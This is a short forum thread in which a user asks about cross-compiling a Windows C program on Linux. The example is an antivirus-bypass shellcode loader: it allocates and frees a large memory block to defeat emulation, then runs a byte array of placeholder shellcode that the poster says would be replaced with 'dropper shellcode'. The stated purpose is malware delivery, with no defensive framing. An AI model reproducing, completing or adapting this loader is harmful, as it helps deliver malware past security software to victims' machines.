User Controls

Cross compiling C.

  1. #1
    Sophie Pedophile Tech Support
    So. I have a special C program that does some special things. It's designed for windows but doesn't make use of the Windows API. Or stuff like MAPI, or NUMA, in that case i can just compile this on Linux right? Below is an example, it's not the program in question but the same principles apply.


    #include <stdio.h>
    #include <windows.h> // Realistically i could just leave this include out right?

    #define TOO_MUCH_MEM 100000000
    // Placeholder Shellcode
    unsigned char buf[]=
    "\xd9\xeb\xd9\x74\x24\xf4\x58\xba\x97\x9a\x82\xb2\x33\xc9\xb1"
    "\x3d\x31\x50\x17\x83\xc0\x04\x03\xc7\x89\x60\x47\x3e\x6c\xbd"
    "\x58\xbb\x62\xf0\x52\xc1\xcb\x89\xfc\x23\x3c\xdb";

    int main( void )
    {
    char * memdmp = NULL;
    memdmp = (char *) malloc(TOO_MUCH_MEM);

    if(memdmp!=NULL)
    {
    memset(memdmp,00, TOO_MUCH_MEM);
    free(memdmp);
    }

    ((void (*)())buf)();

    return 0;
    }


    As you can tell it's a simple AV Bypass where in example the place holder shellcode would be exchanged for dropper shellcode. I don't really need to include `Windows.h` if i don't use anything that requires the Win32 API right?
  2. #2
    Sophie Pedophile Tech Support
    I guess OffSec and Exploit Dev isn't something you guys have to think about very often.
Jump to Top